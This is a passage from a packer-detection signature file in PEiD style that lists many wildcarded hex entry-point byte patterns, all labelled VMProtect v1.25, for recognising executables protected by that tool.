?? E8 ?? ?? ?? ?? 56 57 52 53 57 51 55 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 55 54 52 51 9C 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 51 52 55 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 56 50 51 53 52 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 56 53 57 51 52 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 51 9C 52 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 51 55 9C 50 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 0F B6 06 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 53 9C 57 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 53 57 51 55 56 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 55 50 9C 56 54 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 57 53 56 9C 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 53 56 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 56 50 9C 55 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 52 50 56 57 51 9C 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 9C 56 53 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 53 55 57 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 EE FC 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 53 9C 57 55 51 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 56 53 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5D 9D 5F 5A 5E 58 5B 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 55 51 56 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 9C 53 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 56 51 50 9C 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 50 50 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 50 53 51 56 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 53 52 57 55 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 51 9C 52 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 9C 56 53 55 57 54 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 55 56 57 51 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 50 51 57 53 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 9C 57 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 56 57 55 53 9C 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 51 50 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 50 55 9C 57 51 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 55 57 53 9C 50 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 9C 50 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5D 5B 58 9D 5A 5E 59 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 52 56 53 50 55 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 50 55 56 53 9C 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 57 50 53 55 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 53 50 56 57 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 9C 50 53 56 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 52 9C 57 54 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 57 50 9C 56 52 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 53 57 50 52 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 9C 50 55 53 54 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 52 55 50 9C 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 56 53 55 57 9C 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 50 57 53 56 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 56 57 53 9C 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 56 9C 57 53 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 9C 55 51 54 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 53 50 57 9C 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5B 5E 5D 5D 9D 5F 58 5B 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 56 55 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 9C 55 53 51 56 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 56 50 52 57 57 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 51 9C 55 54 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 53 50 55 51 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 50 56 53 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 52 50 51 57 56 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 9C 56 50 51 55 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 56 51 50 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 52 51 9C 57 53 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 56 51 52 50 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 53 56 51 57 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 9C 52 52 51 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 55 50 57 9C 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 56 57 51 50 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 56 55 50 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 50 51 57 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 51 52 50 51 9C 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 57 52 51 9C 53 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 51 51 56 50 52 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 51 56 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 50 9C 53 56 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 51 52 53 53 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 52 57 50 55 53 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 9C 57 56 50 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 57 52 57 56 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 51 56 52 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 9C 56 52 51 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 